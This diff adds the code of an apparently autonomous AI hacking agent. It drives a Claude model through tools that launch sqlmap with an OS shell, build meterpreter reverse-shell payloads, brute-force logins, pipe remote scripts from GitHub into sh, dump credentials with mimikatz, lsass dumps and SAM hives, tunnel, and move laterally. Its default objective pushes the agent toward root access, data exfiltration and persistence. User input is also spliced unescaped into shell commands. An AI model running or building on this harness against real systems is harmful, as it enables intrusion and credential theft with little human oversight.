+ const { url, data, cookie, level, risk, technique, dump, os_shell } = input;
904
+ let cmd = `sqlmap -u "${url}" --batch`;
905
+ if (data) cmd += ` --data="${data}"`;
906
+ if (cookie) cmd += ` --cookie="${cookie}"`;
907
+ if (level) cmd += ` --level=${level}`;
908
+ if (risk) cmd += ` --risk=${risk}`;
909
+ if (technique) cmd += ` --technique=${technique}`;
910
+ if (dump) cmd += " --dump";
911
+ if (os_shell) cmd += " --os-shell";
912
+ return executeBash(cmd, { timeout: 6e5 });
913
+ }
914
+ async function executeBrowserAutomation(input) {
915
+ const { url, action, selector, value, script, wait_for } = input;
916
+ const playwrightScript = `
917
+ const { chromium } = require('playwright');
918
+
919
+ (async () => {
920
+ const browser = await chromium.launch({ headless: true });
921
+ const page = await browser.newPage();
922
+
923
+ await page.goto('${url}');
924
+ ${wait_for ? `await page.waitForSelector('${wait_for}');` : ""}
925
+
926
+ let result = {};
927
+
928
+ ${action === "screenshot" ? `
929
+ await page.screenshot({ path: 'screenshot.png' });
930
+ result = { action: 'screenshot', file: 'screenshot.png' };
931
+ ` : ""}
932
+
933
+ ${action === "click" && selector ? `
934
+ await page.click('${selector}');
935
+ result = { action: 'click', selector: '${selector}' };
936
+ ` : ""}
937
+
938
+ ${action === "type" && selector && value ? `
939
+ await page.fill('${selector}', '${value}');
940
+ result = { action: 'type', selector: '${selector}', value: '${value}' };
941
+ ` : ""}
942
+
943
+ ${action === "evaluate" && script ? `
944
+ result = await page.evaluate(() => { ${script} });
945
+ ` : ""}
946
+
947
+ ${action === "extract_cookies" ? `
948
+ const cookies = await page.context().cookies();
949
+ result = { cookies };
950
+ ` : ""}
951
+
952
+ console.log(JSON.stringify(result, null, 2));
953
+
954
+ await browser.close();
955
+ })();
956
+ `;
957
+ const scriptPath = "/tmp/playwright_script.js";
958
+ await fs.writeFile(scriptPath, playwrightScript);
959
+ return executeBash(`node ${scriptPath}`, { timeout: 6e4 });
960
+ }
961
+ async function executeSearchsploit(input) {
962
+ const { query, exact, examine, mirror } = input;
963
+ if (examine) {
964
+ return executeBash(`searchsploit -x "${examine}"`);
965
+ }
966
+ if (mirror) {
967
+ return executeBash(`searchsploit -m "${mirror}"`);
968
+ }
969
+ let cmd = `searchsploit "${query}"`;
970
+ if (exact) cmd += " -e";
971
+ return executeBash(cmd);
972
+ }
973
+ async function executeMetasploit(input) {
974
+ const { command, resource_script } = input;
975
+ if (resource_script) {
976
+ return executeBash(`msfconsole -q -r "${resource_script}"`, { timeout: 3e5 });
977
+ }
978
+ return executeBash(`msfconsole -q -x "${command}; exit"`, { timeout: 3e5 });
979
+ }
980
+ async function generatePayload(input) {
981
+ const { payload_type, lhost, lport, platform, format, encoder, output } = input;
982
+ const payloads = {
983
+ windows: {
984
+ reverse_tcp: "windows/meterpreter/reverse_tcp",
985
+ reverse_https: "windows/meterpreter/reverse_https",
986
+ bind_tcp: "windows/meterpreter/bind_tcp"
987
+ },
988
+ linux: {
989
+ reverse_tcp: "linux/x64/meterpreter/reverse_tcp",
990
+ reverse_https: "linux/x64/meterpreter/reverse_https",
991
+ bind_tcp: "linux/x64/meterpreter/bind_tcp"
992
+ },
993
+ php: {
994
+ reverse_tcp: "php/meterpreter/reverse_tcp"
995
+ },
996
+ python: {
997
+ reverse_tcp: "python/meterpreter/reverse_tcp"
998
+ }
999
+ };
1000
+ const payloadName = payloads[platform]?.[payload_type] || `${platform}/meterpreter/reverse_tcp`;
1001
+ let cmd = `msfvenom -p ${payloadName} LHOST=${lhost} LPORT=${lport}`;
1002
+ if (format) cmd += ` -f ${format}`;
1003
+ if (encoder) cmd += ` -e ${encoder}`;
1004
+ if (output) cmd += ` -o "${output}"`;
1005
+ return executeBash(cmd);
1006
+ }
1007
+ async function executeBruteforce(input) {
1008
+ const { target, service, username, password, port, threads, http_form } = input;
1009
+ let cmd = `hydra`;
1010
+ if (username) {
1011
+ if (username.toString().includes("/")) {
1012
+ cmd += ` -L "${username}"`;
1013
+ } else {
1014
+ cmd += ` -l "${username}"`;
1015
+ }
1016
+ }
1017
+ if (password) {
1018
+ if (password.toString().includes("/")) {
1019
+ cmd += ` -P "${password}"`;
1020
+ } else {
1021
+ cmd += ` -p "${password}"`;
1022
+ }
1023
+ } else {
1024
+ cmd += ` -P /usr/share/wordlists/rockyou.txt`;
1025
+ }
1026
+ if (port) cmd += ` -s ${port}`;
1027
+ if (threads) cmd += ` -t ${threads}`;
1028
+ cmd += ` ${target} ${service}`;
1029
+ if (http_form && service === "http-post-form") {
1030
+ cmd += ` "${http_form}"`;
1031
+ }
1032
+ return executeBash(cmd, { timeout: 6e5 });
1033
+ }
1034
+ async function executeCrackHash(input) {
1035
+ const { hash_file, wordlist, mode, tool, rules } = input;
1036
+ const wl = wordlist || "/usr/share/wordlists/rockyou.txt";
1037
+ if (tool === "hashcat") {
1038
+ let cmd2 = `hashcat -a 0`;
1039
+ if (mode) cmd2 += ` -m ${mode}`;
1040
+ if (rules) cmd2 += ` -r "${rules}"`;
1041
+ cmd2 += ` "${hash_file}" "${wl}" --force`;
1042
+ return executeBash(cmd2, { timeout: 36e5 });
1043
+ }
1044
+ let cmd = `john --wordlist="${wl}"`;
1045
+ if (rules) cmd += ` --rules="${rules}"`;
1046
+ cmd += ` "${hash_file}"`;
1047
+ return executeBash(cmd, { timeout: 36e5 });
1048
+ }
1049
+ async function executePrivescEnum(input) {
1050
+ const { script, args, output_file } = input;
1051
+ const scripts = {
1052
+ linpeas: "curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh",
1053
+ winpeas: `powershell -exec bypass -c "(New-Object System.Net.WebClient).DownloadFile('https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany.exe', 'winpeas.exe'); .\\winpeas.exe"`,
1054
+ les: "curl -L https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash",
1055
+ pspy: "curl -L https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -o /tmp/pspy && chmod +x /tmp/pspy && /tmp/pspy"
1056
+ };
1057
+ let cmd = scripts[script] || scripts.linpeas;
1058
+ if (args) cmd += ` ${args}`;
1059
+ if (output_file) cmd += ` 2>&1 | tee "${output_file}"`;
1060
+ return executeBash(cmd, { timeout: 6e5 });
1061
+ }
1062
+ async function checkSudo(input) {
1063
+ const { check_gtfobins } = input;
1064
+ let cmd = "sudo -l 2>/dev/null";
1065
+ if (check_gtfobins) {
1066
+ cmd = `sudo -l 2>/dev/null | grep -E '\\(ALL\\)|\\(root\\)|NOPASSWD' || true`;
1067
+ }
1068
+ return executeBash(cmd);
1069
+ }
1070
+ async function findSuid(input) {
1071
+ const { check_gtfobins } = input;
1072
+ const cmd = "find / -perm -4000 -type f 2>/dev/null | head -100";
1073
+ return executeBash(cmd);
1074
+ }
1075
+ async function setupTunnel(input) {
1076
+ const { tool, mode, local_port, remote_port, target } = input;
1077
+ if (tool === "chisel") {
1078
+ if (mode === "server") {
1079
+ return executeBash(`chisel server -p ${local_port || 8e3} --reverse`, { background: true });
1080
+ } else {
1081
+ return executeBash(`chisel client ${target}:${remote_port || 8e3} R:socks`);
1082
+ }
1083
+ }
1084
+ if (tool === "ssh") {
1085
+ return executeBash(`ssh -D ${local_port || 1080} -N ${target}`);
1086
+ }
1087
+ return { success: false, output: "", error: "Unsupported tunnel tool", duration: 0 };
1088
+ }
1089
+ async function dumpCredentials(input) {
1090
+ const { method, output_file } = input;
1091
+ const commands = {
1092
+ shadow: "cat /etc/shadow 2>/dev/null",
1093
+ sam: "reg save hklm\\sam sam.hive && reg save hklm\\system system.hive",
1094
+ lsass: "procdump.exe -ma lsass.exe lsass.dmp",
1095
+ mimikatz: 'mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"',
1096
+ browser: 'find / -name "Login Data" -o -name "logins.json" 2>/dev/null'
1097
+ };
1098
+ let cmd = commands[method] || commands.shadow;
1099
+ if (output_file) cmd += ` > "${output_file}"`;
1100
+ return executeBash(cmd);
1101
+ }
1102
+ async function executeLateralMovement(input) {
1103
+ const { method, target, username, credential, command } = input;
1104
+ const isHash = credential.match(/^[a-fA-F0-9]+$/) && credential.length >= 32;
1105
+ const commands = {
1106
+ psexec: isHash ? `impacket-psexec -hashes :${credential} ${username}@${target} "${command || "cmd.exe"}"` : `impacket-psexec ${username}:${credential}@${target} "${command || "cmd.exe"}"`,
1107
+ wmiexec: `impacket-wmiexec ${username}:${credential}@${target} "${command || "whoami"}"`,
1108
+ smbexec: `impacket-smbexec ${username}:${credential}@${target} "${command || "cmd.exe"}"`,
1109
+ "evil-winrm": `evil-winrm -i ${target} -u ${username} -p "${credential}"`,
1110
+ ssh: `sshpass -p "${credential}" ssh ${username}@${target} "${command || "whoami"}"`
1111
+ };
1112
+ return executeBash(commands[method], { timeout: 6e4 });
1113
+ }
1114
+ async function reportFinding(input) {
1115
+ const { title, severity, description, evidence, exploitable, remediation, cvss, cve } = input;
1116
+ const finding = {
1117
+ title,
1118
+ severity,
1119
+ description,
1120
+ evidence,
1121
+ exploitable: exploitable || false,
1122
+ remediation: remediation || "To be determined",
1123
+ cvss: cvss || null,
1124
+ cve: cve || null,
1125
+ timestamp: (/* @__PURE__ */ new Date()).toISOString()
1126
+ };
1127
+ const findingsPath = "/tmp/hacker-code-findings.json";
1128
+ let findings = [];
1129
+ try {
1130
+ const existing = await fs.readFile(findingsPath, "utf-8");
1131
+ findings = JSON.parse(existing);
1132
+ } catch {
1133
+ }
1134
+ findings.push(finding);
1135
+ await fs.writeFile(findingsPath, JSON.stringify(findings, null, 2));
1136
+ return {
1137
+ success: true,
1138
+ output: `Finding recorded: [${severity?.toString().toUpperCase()}] ${title}`,
1139
+ duration: 0
1140
+ };
1141
+ }
1142
+ async function takeScreenshot(input) {
1143
+ const { type, filename, url } = input;
1144
+ if (type === "browser" && url) {
1145
+ const script = `
1146
+ const { chromium } = require('playwright');
1147
+ (async () => {
1148
+ const browser = await chromium.launch();
1149
+ const page = await browser.newPage();
1150
+ await page.goto('${url}');
1151
+ await page.screenshot({ path: '${filename || "screenshot.png"}', fullPage: true });
1152
+ await browser.close();
1153
+ console.log('Screenshot saved');
1154
+ })();
1155
+ `;
1156
+ await fs.writeFile("/tmp/screenshot.js", script);
1157
+ return executeBash("node /tmp/screenshot.js");
1158
+ }
1159
+ return executeBash(`script -q /dev/null -c "cat" | tee "${filename || "terminal.txt"}"`);
1160
+ }
1161
+
1162
+ // src/config/constants.ts
1163
+ var APP_VERSION = "1.0.0";
1164
+ var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
1165
+ var CLAUDE_MODEL = process.env.PENTEST_MODEL || "claude-sonnet-4-20250514";
1166
+ var CLAUDE_MAX_TOKENS = 16384;
1167
+ var AGENT_CONFIG = {
1168
+ maxIterations: 200,
1169
+ maxToolCallsPerIteration: 10,
1170
+ autoApprove: false,
1171
+ sensitiveTools: ["credential_attack", "write_file", "metasploit", "generate_payload"],
1172
+ defaultTimeout: 6e4,
1173
+ longRunningTimeout: 6e5,
1174
+ stuckThreshold: 5,
1175
+ stuckTimeThreshold: 3e5,
1176
+ maxPhaseAttempts: 20
1177
+ };
1178
+
1179
+ // src/core/agent/autonomous-agent.ts
1180
+ var DEFAULT_PHASES = [
1181
+ { id: "recon", name: "Reconnaissance", korean: "\uC815\uCC30", status: "pending", attempts: 0 },
1182
+ { id: "scan", name: "Scanning", korean: "\uC2A4\uCE90\uB2DD", status: "pending", attempts: 0 },
1183
+ { id: "enum", name: "Enumeration", korean: "\uC5F4\uAC70", status: "pending", attempts: 0 },
1184
+ { id: "vuln", name: "Vulnerability Analysis", korean: "\uCDE8\uC57D\uC810 \uBD84\uC11D", status: "pending", attempts: 0 },
1185
+ { id: "exploit", name: "Exploitation", korean: "\uC775\uC2A4\uD50C\uB85C\uC787", status: "pending", attempts: 0 },
1186
+ { id: "privesc", name: "Privilege Escalation", korean: "\uAD8C\uD55C \uC0C1\uC2B9", status: "pending", attempts: 0 },
1187
+ { id: "pivot", name: "Pivoting", korean: "\uD53C\uBC97", status: "pending", attempts: 0 },
1188
+ { id: "persist", name: "Persistence", korean: "\uC9C0\uC18D\uC131", status: "pending", attempts: 0 },
1189
+ { id: "exfil", name: "Data Exfiltration", korean: "\uB370\uC774\uD130 \uCD94\uCD9C", status: "pending", attempts: 0 },
1190
+ { id: "report", name: "Reporting", korean: "\uBCF4\uACE0\uC11C", status: "pending", attempts: 0 }
1191
+ ];
1192
+ var AutonomousHackingAgent = class extends EventEmitter {
1193
+ client;
1194
+ state;
1195
+ config;
1196
+ tools;
1197
+ // 토끼굴 감지 설정
1198
+ STUCK_THRESHOLD = 5;
1199
+ // 같은 액션 반복 횟수
1200
+ STUCK_TIME_THRESHOLD = 3e5;
1201
+ // 5분 동안 진전 없음
1202
+ MAX_PHASE_ATTEMPTS = 20;
1203
+ // 단계당 최대 시도 횟수
1204
+ constructor(apiKey, config) {
1205
+ super();
1206
+ this.client = new Anthropic({
1207
+ apiKey: apiKey || process.env.ANTHROPIC_API_KEY
1208
+ });
1209
+ this.config = { ...AGENT_CONFIG, ...config };
1210
+ this.tools = ALL_TOOLS;
1211
+ this.state = this.createInitialState();
1212
+ }
1213
+ // ===== 상태 관리 =====
1214
+ createInitialState() {
1215
+ return {
1216
+ status: "idle",
1217
+ target: {
1218
+ primary: "",
1219
+ discovered: [],
1220
+ compromised: [],
1221
+ pivotPoints: [],
1222
+ credentials: [],
1223
+ services: []
1224
+ },
1225
+ currentPhase: "recon",
1226
+ phases: DEFAULT_PHASES.map((p) => ({ ...p, findings: [], notes: [] })),
1227
+ thoughts: [],
1228
+ findings: [],
1229
+ iteration: 0,
1230
+ totalAttempts: 0,
1231
+ successfulExploits: 0,
1232
+ failedAttempts: 0,
1233
+ stuckCounter: 0,
1234
+ lastProgressTime: /* @__PURE__ */ new Date(),
1235
+ repeatedActions: /* @__PURE__ */ new Map(),
1236
+ history: []
1237
+ };
1238
+ }
1239
+ getState() {
1240
+ return { ...this.state };
1241
+ }
1242
+ getPhaseProgress() {
1243
+ const completed = this.state.phases.filter((p) => p.status === "completed").length;
1244
+ return {
1245
+ completed,
1246
+ total: this.state.phases.length,
1247
+ current: this.state.currentPhase
1248
+ };
1249
+ }
1250
+ // ===== 사고 과정 기록 =====
1251
+ think(type, content) {
1252
+ const thought = {
1253
+ id: `thought-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`,
1254
+ type,
1255
+ content,
1256
+ timestamp: /* @__PURE__ */ new Date(),
1257
+ phase: this.state.currentPhase
1258
+ };
1259
+ this.state.thoughts.push(thought);
1260
+ this.emit("thought", thought);
1261
+ }
1262
+ // ===== 타겟 설정 =====
1263
+ setTarget(target) {
1264
+ this.state.target.primary = target;
1265
+ this.think("observation", `\uD0C0\uAC9F \uC124\uC815: ${target}`);
1266
+ this.emit("target_set", target);
1267
+ }
1268
+ // ===== 단계 관리 =====
1269
+ getCurrentPhase() {
1270
+ return this.state.phases.find((p) => p.id === this.state.currentPhase);
1271
+ }
1272
+ setPhaseStatus(phaseId, status) {
1273
+ const phase = this.state.phases.find((p) => p.id === phaseId);
1274
+ if (phase) {
1275
+ const oldStatus = phase.status;
1276
+ phase.status = status;
1277
+ if (status === "in_progress" && !phase.startTime) {
1278
+ phase.startTime = /* @__PURE__ */ new Date();
1279
+ } else if ((status === "completed" || status === "failed") && !phase.endTime) {
1280
+ phase.endTime = /* @__PURE__ */ new Date();
1281
+ }
1282
+ this.emit("phase_change", { phaseId, oldStatus, newStatus: status });
1283
+ this.think("observation", `\uB2E8\uACC4 \uC0C1\uD0DC \uBCC0\uACBD: ${phase.korean} (${oldStatus} \u2192 ${status})`);
1284
+ }
1285
+ }
1286
+ advanceToNextPhase() {
1287
+ const currentIndex = this.state.phases.findIndex((p) => p.id === this.state.currentPhase);
1288
+ if (currentIndex < this.state.phases.length - 1) {
1289
+ const nextPhase = this.state.phases[currentIndex + 1];
1290
+ this.setPhaseStatus(this.state.currentPhase, "completed");
1291
+ this.state.currentPhase = nextPhase.id;
1292
+ this.setPhaseStatus(nextPhase.id, "in_progress");
1293
+ this.think("plan", `\uB2E4\uC74C \uB2E8\uACC4\uB85C \uC9C4\uD589: ${nextPhase.korean}`);
1294
+ this.resetStuckCounter();
1295
+ return true;
1296
+ }
1297
+ return false;
1298
+ }
1299
+ // ===== 토끼굴 감지 =====
1300
+ checkIfStuck() {
1301
+ const currentPhase = this.getCurrentPhase();
1302
+ if (currentPhase.attempts > this.MAX_PHASE_ATTEMPTS) {
1303
+ this.think("stuck", `[!] \uD1A0\uB07C\uAD74 \uAC10\uC9C0: ${currentPhase.korean} \uB2E8\uACC4\uC5D0\uC11C ${currentPhase.attempts}\uD68C \uC2DC\uB3C4`);
1304
+ return true;
1305
+ }
1306
+ const timeSinceProgress = Date.now() - this.state.lastProgressTime.getTime();
1307
+ if (timeSinceProgress > this.STUCK_TIME_THRESHOLD) {
1308
+ this.think("stuck", `[!] \uD1A0\uB07C\uAD74 \uAC10\uC9C0: ${Math.round(timeSinceProgress / 6e4)}\uBD84 \uB3D9\uC548 \uC9C4\uC804 \uC5C6\uC74C`);
1309
+ return true;
1310
+ }
1311
+ if (this.state.stuckCounter > this.STUCK_THRESHOLD) {
1312
+ this.think("stuck", `[!] \uD1A0\uB07C\uAD74 \uAC10\uC9C0: \uAC19\uC740 \uD328\uD134 ${this.state.stuckCounter}\uD68C \uBC18\uBCF5`);
1313
+ return true;
1314
+ }
1315
+ return false;
1316
+ }
1317
+ resetStuckCounter() {
1318
+ this.state.stuckCounter = 0;
1319
+ this.state.lastProgressTime = /* @__PURE__ */ new Date();
1320
+ this.state.repeatedActions.clear();
1321
+ }
1322
+ trackAction(action) {
1323
+ const count = this.state.repeatedActions.get(action) || 0;
1324
+ this.state.repeatedActions.set(action, count + 1);
1325
+ if (count + 1 >= this.STUCK_THRESHOLD) {
1326
+ this.state.stuckCounter++;
1327
+ }
1328
+ }
1329
+ // ===== 자기 반성 =====
1330
+ async performSelfReflection() {
1331
+ this.think("reflection", "[reflect] \uC790\uAE30 \uBC18\uC131 \uC2DC\uC791...");
1332
+ const reflectionPrompt = `
1333
+ ${SELF_REFLECTION_PROMPT}
1334
+
1335
+ \uD604\uC7AC \uC0C1\uD669:
1336
+ - \uD0C0\uAC9F: ${this.state.target.primary}
1337
+ - \uD604\uC7AC \uB2E8\uACC4: ${this.getCurrentPhase().korean}
1338
+ - \uC2DC\uB3C4 \uD69F\uC218: ${this.getCurrentPhase().attempts}
1339
+ - \uBC1C\uACAC\uB41C \uC11C\uBE44\uC2A4: ${this.state.target.services.map((s) => `${s.host}:${s.port} (${s.service})`).join(", ") || "\uC5C6\uC74C"}
1340
+ - \uD68D\uB4DD\uD55C \uC790\uACA9\uC99D\uBA85: ${this.state.target.credentials.length}\uAC1C
1341
+ - \uCE68\uD22C\uB41C \uD638\uC2A4\uD2B8: ${this.state.target.compromised.join(", ") || "\uC5C6\uC74C"}
1342
+ - \uCD5C\uADFC \uC2E4\uD328\uD55C \uC2DC\uB3C4\uB4E4: ${this.state.thoughts.filter((t) => t.type === "result" && t.content.includes("\uC2E4\uD328")).slice(-5).map((t) => t.content).join("; ")}
1343
+
1344
+ \uBB34\uC5C7\uC774 \uC798\uBABB\uB418\uC5C8\uACE0, \uC5B4\uB5A4 \uB2E4\uB978 \uC811\uADFC \uBC29\uC2DD\uC744 \uC2DC\uB3C4\uD574\uC57C \uD558\uB294\uAC00?
1345
+ `;
1346
+ const response = await this.client.messages.create({
1347
+ model: CLAUDE_MODEL,
1348
+ max_tokens: 4096,
1349
+ messages: [{ role: "user", content: reflectionPrompt }]
1350
+ });
1351
+ const reflection = response.content.filter((b) => b.type === "text").map((b) => b.text).join("\n");
1352
+ this.think("reflection", reflection);
1353
+ return reflection;
1354
+ }
1355
+ // ===== 진전 감지 =====
1356
+ recordProgress(type) {
1357
+ this.resetStuckCounter();
1358
+ this.state.lastProgressTime = /* @__PURE__ */ new Date();
1359
+ switch (type) {
1360
+ case "discovery":
1361
+ this.think("breakthrough", "[target] \uC0C8\uB85C\uC6B4 \uB300\uC0C1 \uBC1C\uACAC!");
1362
+ break;
1363
+ case "credential":
1364
+ this.think("breakthrough", "[cred] \uC790\uACA9\uC99D\uBA85 \uD68D\uB4DD!");
1365
+ break;
1366
+ case "access":
1367
+ this.think("breakthrough", "[access] \uC811\uADFC \uAD8C\uD55C \uD68D\uB4DD!");
1368
+ break;
1369
+ case "exploit":
1370
+ this.think("breakthrough", "[exploit] \uC775\uC2A4\uD50C\uB85C\uC787 \uC131\uACF5!");
1371
+ this.state.successfulExploits++;
1372
+ break;
1373
+ }
1374
+ }
1375
+ // ===== 발견 사항 관리 =====
1376
+ addFinding(finding) {
1377
+ const newFinding = {
1378
+ ...finding,
1379
+ id: `finding-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`,
1380
+ timestamp: /* @__PURE__ */ new Date()
1381
+ };
1382
+ this.state.findings.push(newFinding);
1383
+ this.getCurrentPhase().findings.push(newFinding);
1384
+ this.emit("finding", newFinding);
1385
+ if (finding.severity === "critical" || finding.severity === "high") {
1386
+ this.recordProgress("discovery");
1387
+ }
1388
+ }
1389
+ addCredential(cred) {
1390
+ this.state.target.credentials.push(cred);
1391
+ this.recordProgress("credential");
1392
+ this.emit("credential", cred);
1393
+ this.think("observation", `\uC790\uACA9\uC99D\uBA85 \uD68D\uB4DD: ${cred.type} - ${cred.username || "unknown"}@${cred.source}`);
1394
+ }
1395
+ addCompromisedHost(host) {
1396
+ if (!this.state.target.compromised.includes(host)) {
1397
+ this.state.target.compromised.push(host);
1398
+ this.recordProgress("access");
1399
+ this.emit("compromised", host);
1400
+ this.think("breakthrough", `\uD638\uC2A4\uD2B8 \uCE68\uD22C \uC131\uACF5: ${host}`);
1401
+ }
1402
+ }
1403
+ // ===== 메인 자율 실행 루프 =====
1404
+ async runAutonomous(objective) {
1405
+ if (!this.state.target.primary) {
1406
+ this.emit("error", new Error("\uD0C0\uAC9F\uC774 \uC124\uC815\uB418\uC9C0 \uC54A\uC558\uC2B5\uB2C8\uB2E4"));
1407
+ return;
1408
+ }
1409
+ this.state.status = "running";
1410
+ this.setPhaseStatus("recon", "in_progress");
1411
+ const mainObjective = objective || `
1412
+ \uD0C0\uAC9F ${this.state.target.primary}\uC5D0 \uB300\uD55C \uC644\uC804\uD55C \uBAA8\uC758\uD574\uD0B9\uC744 \uC218\uD589\uD569\uB2C8\uB2E4.
1413
+ \uBAA9\uD45C: \uCD5C\uB300\uD55C \uAE4A\uC774 \uCE68\uD22C\uD558\uC5EC \uB8E8\uD2B8/\uC2DC\uC2A4\uD15C \uAD8C\uD55C \uD68D\uB4DD, \uB0B4\uBD80 \uB370\uC774\uD130 \uCD94\uCD9C, \uC804\uCCB4 \uB124\uD2B8\uC6CC\uD06C \uB9E4\uD551.
1414
+ `;
1415
+ this.think("plan", `\uC790\uC728 \uD574\uD0B9 \uC2DC\uC791: ${mainObjective}`);
1416
+ this.state.history.push({
1417
+ role: "user",
1418
+ content: mainObjective
1419
+ });
1420
+ let iteration = 0;
1421
+ const maxIterations = this.config.maxIterations;
1422
+ while (iteration < maxIterations && this.state.status === "running") {
1423
+ iteration++;
1424
+ this.state.iteration = iteration;
1425
+ this.getCurrentPhase().attempts++;
1426
+ this.state.totalAttempts++;
1427
+ this.emit("iteration", { current: iteration, max: maxIterations, phase: this.state.currentPhase });
1428
+ try {
1429
+ if (this.checkIfStuck()) {
1430
+ this.state.status = "stuck";
1431
+ const reflection = await this.performSelfReflection();
1432
+ const shouldSkip = await this.decideNextAction(reflection);
1433
+ if (shouldSkip) {
1434
+ this.setPhaseStatus(this.state.currentPhase, "skipped");
1435
+ if (!this.advanceToNextPhase()) {
1436
+ this.think("observation", "\uBAA8\uB4E0 \uB2E8\uACC4 \uC644\uB8CC \uB610\uB294 \uC2A4\uD0B5\uB428");
1437
+ break;
1438
+ }
1439
+ }
1440
+ this.state.status = "running";
1441
+ this.resetStuckCounter();
1442
+ continue;
1443
+ }
1444
+ const response = await this.executeStep();
1445
+ await this.analyzeResponse(response);
1446
+ if (this.shouldAdvancePhase()) {
1447
+ if (!this.advanceToNextPhase()) {
1448
+ this.think("observation", "[done] \uBAA8\uB4E0 \uB2E8\uACC4 \uC644\uB8CC!");
1449
+ break;
1450
+ }
1451
+ }
1452
+ } catch (error) {
1453
+ this.state.failedAttempts++;
1454
+ this.think("result", `[-] \uC624\uB958: ${error.message}`);
1455
+ this.emit("error", error);
1456
+ await this.attemptRecovery(error);
1457
+ }
1458
+ }
1459
+ this.state.status = "completed";
1460
+ await this.generateFinalReport();
1461
+ this.emit("complete", this.getSummary());
1462
+ }
1463
+ // ===== 단계 실행 =====
1464
+ async executeStep() {
1465
+ const contextPrompt = this.buildContextPrompt();
1466
+ this.think("plan", "\uB2E4\uC74C \uC561\uC158 \uACB0\uC815 \uC911...");
1467
+ const messages = [
1468
+ ...this.state.history.map((msg) => ({
1469
+ role: msg.role,
1470
+ content: msg.content
1471
+ })),
1472
+ { role: "user", content: contextPrompt }
1473
+ ];
1474
+ const response = await this.client.messages.create({
1475
+ model: CLAUDE_MODEL,
1476
+ max_tokens: CLAUDE_MAX_TOKENS,
1477
+ system: AUTONOMOUS_HACKING_PROMPT,
1478
+ tools: this.tools,
1479
+ messages
1480
+ });
1481
+ return this.processResponse(response);
1482
+ }
1483
+ buildContextPrompt() {
1484
+ const phase = this.getCurrentPhase();
1485
+ const services = this.state.target.services.map((s) => ` - ${s.host}:${s.port} ${s.service} ${s.version || ""} ${s.vulnerabilities.length > 0 ? `[\uCDE8\uC57D\uC810: ${s.vulnerabilities.join(", ")}]` : ""}`).join("\n");
1486
+ const credentials = this.state.target.credentials.map((c) => ` - ${c.type}: ${c.username || "?"}@${c.source} (${c.privilegeLevel})`).join("\n");
1487
+ const recentThoughts = this.state.thoughts.slice(-10).map((t) => `[${t.type}] ${t.content}`).join("\n");
1488
+ return `
1489
+ === \uD604\uC7AC \uC0C1\uD0DC ===
1490
+ \uD0C0\uAC9F: ${this.state.target.primary}
1491
+ \uD604\uC7AC \uB2E8\uACC4: ${phase.korean} (${phase.name})
1492
+ \uB2E8\uACC4 \uC9C4\uD589: ${this.state.phases.filter((p) => p.status === "completed").length}/${this.state.phases.length}
1493
+ \uCE68\uD22C\uB41C \uD638\uC2A4\uD2B8: ${this.state.target.compromised.join(", ") || "\uC5C6\uC74C"}
1494
+
1495
+ === \uBC1C\uACAC\uB41C \uC11C\uBE44\uC2A4 ===
1496
+ ${services || "\uC544\uC9C1 \uC5C6\uC74C"}
1497
+
1498
+ === \uD68D\uB4DD\uD55C \uC790\uACA9\uC99D\uBA85 ===
1499
+ ${credentials || "\uC544\uC9C1 \uC5C6\uC74C"}
1500
+
1501
+ === \uCD5C\uADFC \uC0AC\uACE0 \uACFC\uC815 ===
1502
+ ${recentThoughts}
1503
+
1504
+ === \uC9C0\uC2DC ===
1505
+ \uD604\uC7AC ${phase.korean} \uB2E8\uACC4\uC785\uB2C8\uB2E4.
1506
+ \uB2E4\uC74C \uB17C\uB9AC\uC801 \uC561\uC158\uC744 \uC218\uD589\uD558\uC138\uC694.
1507
+ \uC9C4\uC804\uC774 \uC5C6\uC73C\uBA74 \uB2E4\uB978 \uC811\uADFC \uBC29\uC2DD\uC744 \uC2DC\uB3C4\uD558\uC138\uC694.
1508
+ \uC911\uC694\uD55C \uBC1C\uACAC\uC774 \uC788\uC73C\uBA74 report_finding \uB3C4\uAD6C\uB97C \uC0AC\uC6A9\uD558\uC138\uC694.
1509
+ `;
1510
+ }
1511
+ // ===== 응답 처리 =====
1512
+ async processResponse(response) {
1513
+ const contentBlocks = [];
1514
+ let textResponse = "";
1515
+ for (const block of response.content) {
1516
+ if (block.type === "text") {
1517
+ textResponse += block.text;
1518
+ contentBlocks.push({ type: "text", text: block.text });
1519
+ this.think("observation", block.text.slice(0, 500));
1520
+ this.emit("response", block.text);
1521
+ } else if (block.type === "tool_use") {
1522
+ const toolName = block.name;
1523
+ const toolInput = block.input;
1524
+ contentBlocks.push({
1525
+ type: "tool_use",
1526
+ id: block.id,
1527
+ name: toolName,
1528
+ input: toolInput
1529
+ });
1530
+ const actionKey = `${toolName}:${JSON.stringify(toolInput).slice(0, 100)}`;
1531
+ this.trackAction(actionKey);
1532
+ this.think("action", `[tool] \uB3C4\uAD6C \uC2E4\uD589: ${toolName}`);
1533
+ this.emit("tool_call", { id: block.id, name: toolName, input: toolInput });
1534
+ const result = await executeToolCall(toolName, toolInput);
1535
+ const resultType = result.success ? "result" : "result";
1536
+ this.think(
1537
+ resultType,
1538
+ result.success ? `[+] ${toolName} \uC131\uACF5: ${result.output.slice(0, 200)}...` : `[-] ${toolName} \uC2E4\uD328: ${result.error}`
1539
+ );
1540
+ this.emit("tool_result", { id: block.id, name: toolName, result });
1541
+ this.extractIntelligence(toolName, result);
1542
+ this.state.history.push({
1543
+ role: "assistant",
1544
+ content: contentBlocks
1545
+ });
1546
+ this.state.history.push({
1547
+ role: "user",
1548
+ content: [{
1549
+ type: "tool_result",
1550
+ tool_use_id: block.id,
1551
+ content: result.output || result.error || "No output",
1552
+ is_error: !result.success
1553
+ }]
1554
+ });
1555
+ if (response.stop_reason === "tool_use") {
1556
+ return this.executeStep();
1557
+ }
1558
+ }
1559
+ }
1560
+ if (contentBlocks.length > 0 && !this.state.history.find((h) => h.content === contentBlocks)) {
1561
+ this.state.history.push({
1562
+ role: "assistant",
1563
+ content: contentBlocks
1564
+ });
1565
+ }
1566
+ return textResponse;
1567
+ }
1568
+ // ===== 정보 추출 =====
1569
+ extractIntelligence(toolName, result) {
